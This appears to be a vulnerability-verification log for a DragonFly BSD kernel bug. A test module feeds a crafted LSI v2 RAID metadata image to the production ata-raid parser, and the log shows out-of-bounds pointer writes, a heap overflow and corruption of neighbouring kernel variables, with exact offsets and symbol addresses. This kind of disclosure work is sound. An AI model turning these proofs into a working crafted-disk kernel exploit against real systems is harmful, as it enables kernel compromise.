== DF-2494 baseline verification (guest dfbsd, DragonFly 6.5-DEVELOPMENT #0 Thu Jul 2 06:02:54 UTC 2026) ==
Rig: dfrig_ata.ko -- UNMODIFIED production sys/dev/disk/nata/ata-raid.c
compiled into a KLD (module plumbing neutralized); only the disk-I/O
completion seam (ata_queue_request) is interposed: production
ata_raid_rw() builds the request, the shim completes it synchronously
from the crafted $XIDE$ image.  Everything downstream -- the parser, the
kmalloc()s, the raidp[] stores -- is 100% production code.

$ kldload /root/dfrig/dfrig_ata.ko
$ sysctl kern.dfrig_ata_test=1   # raid_number=29 (deterministic; configs[29] in-bounds)
$ sysctl -n kern.dfrig_ata_status
== DF-2494 test1: production parse with raid_number=29 (deterministic; configs[29] is the last in-bounds entry) ==
raidp base=0xffffffff826035c0, logical array = 16 slots / 128 bytes, ends at 0xffffffff82603640
raidp[0+29] = 0xffffffff826036a8 = 104 bytes PAST the end of the 16-entry array
before: witness[29] = 0
ata_raid_lsiv2_read_meta() returned 1
after:  witness[29] = 0xfffff80116973700   (CHANGED -- production code kmalloc()d an ar_softc and stored the pointer OUT OF BOUNDS)
PROOF: the production parser wrote a kernel heap pointer at raidp[0+29], 104 bytes past the end of the 16-entry array (no bounds check on array + meta->raid_number, ata-raid.c:2802-2806)

$ sysctl kern.dfrig_ata_test=2   # raid_number=16 (first OOB slot)
$ sysctl -n kern.dfrig_ata_status
== DF-2494 test2: production parse with raid_number=16 (FIRST out-of-bounds slot; deterministic) ==
raidp[0+16] = 0xffffffff82603640 = first 8 bytes past the 16-entry array (in the guest kernel this exact slot is &atapi_cam_devclass, nm: ata_raid_arrays=0xffffffff8114dec0 + 128)
before: witness[16] = 0
ata_raid_lsiv2_read_meta() returned 1 (array accepted)
after:  witness[16] = 0xfffff80116972300   (CHANGED -- OOB write, slot RETAINS the pointer (no cleanup on the accepted-type path))

$ sysctl kern.dfrig_ata_test=4   # disk_number=49 (same parse, disks[] index)
$ sysctl -n kern.dfrig_ata_status
== DF-2494 test4 (corroboration): disk_number=49 heap OOB in the same parse (disks[16] is the first OOB index) ==
parse rc=1 raidp[0]=0xfffff8011696d300 sizeof(struct ar_softc)=2424
&rdp->disks[0] - rdp = 112; &rdp->disks[49] - rdp = 2464; object size = 2424 -> OUT OF BOUNDS by 40 bytes
readback of the OOB-written entry (behind the object): dev=0xffffffff82603460 sectors=0 flags=0xb (AR_DF_ONLINE|PRESENT|ASSIGNED=0xb)

$ sysctl kern.dfrig_ata_test=5   # raid_number=255 (write at +2040, then configs[255] OOB read)
[serial console]
dfrig_ata: test5 firing parse raid_number=255 (expect OOB write at +2040 then trap on configs[255])
dfrig_ata: shim ata_queue_request entered (flags=12)
******* ATA LSILogic V2 MegaRAID Metadata *******
lsi_id              <$XIDE$>
disk_number         0x01
raid_number         0xff
timestamp           0x11223344
unknown: LSI v2 unknown RAID type 0x00
dfrig_ata: test5 SURVIVED (unexpected) witness[255]=0
# note: the +2040 store executed; configs[255] (4080 bytes into the 512-byte
# meta object) read adjacent-heap garbage; type 0x00 -> unknown-type cleanup
# freed the array and NULLed the OOB slot.  Persistent-pointer corruption
# range is raid_number in [16..29] (accepted RAID types keep the pointer).

$ sysctl kern.dfrig_ata_test=6   # raidp = REAL kernel ata_raid_arrays (0xffffffff8114dec0)
$ sysctl -n kern.dfrig_ata_status
== DF-2494 test6: production parse writing the REAL kernel ata_raid_arrays (boot-attack target) ==
skip-occupied walk across real kernel BSS neighbors (atapi_cam_devclass/acd_/afd_/ast_devclass occupied; ast_total==0):
before: raidp[16..21] = 0xfffff8008bb13d20 0xfffff8004f1ab2e0 0xfffff8004f1ab400 0xfffff8004f1ab8e0 0xfffff80117e30500 0
parse rc=1
after:  raidp[16..21] = 0xfffff8008bb13d20 0xfffff8004f1ab2e0 0xfffff8004f1ab400 0xfffff8004f1ab8e0 0xfffff80117e30500 0
PROOF: raidp[20] (ast_total, +160 bytes past the 128-byte ata_raid_arrays) changed from 0 to 0xfffff80117e30500 -- the production parser planted a kmalloc()d ar_softc* into an unrelated kernel BSS static of a different subsystem
# (first run, raid_number=23): raidp[23] = &sysctl__hw_amr_children was
# OCCUPIED (points at the real hw.amr.force_sg32 oid 0xffffffff81060a20), so
# production skip-occupied logic walked on and the pointer test/magic_0
# checks passed against the heap object at raidp[20] -- the parse then
# CONFIGURED that unrelated live heap object as its ar_softc (rc=1, fields
# written: magic_0=timestamp, type, total_disks, format, disks[2]...), i.e.
# a cross-subsystem kernel heap type-confusion write, silent (guest stayed
# up).  Kernel symbol map (nm /boot/kernel/kernel):
#   ffffffff8114dec0 b ata_raid_arrays        (+0)
#   ffffffff8114df40 b atapi_cam_devclass     (+128 = raidp[16])
#   ffffffff8114df48 b acd_devclass           (+136)
#   ffffffff8114df50 b afd_devclass           (+144)
#   ffffffff8114df58 b ast_devclass           (+152)
#   ffffffff8114df60 b ast_total              (+160)
#   ffffffff8114df70 B linux_no_adapter       (+176)
#   ffffffff8114df78 B sysctl__hw_amr_children(+184 = raidp[23])
#   ffffffff8114df80 b curfail.19623          (+192 = raidp[24])

Authentic-disk boot arm (not armable on this guest): attaching ANY IDE
hard disk (even a benign image) to the standard vm.sh QEMU invocation
hangs SeaBIOS before the loader (verified with an unrelated usbstick.img
as well) -- the boot-time manifestation of the crafted-disk threat model
cannot be armed on the standard guest; the rig above drives the same
production parser against the same real kernel BSS target instead.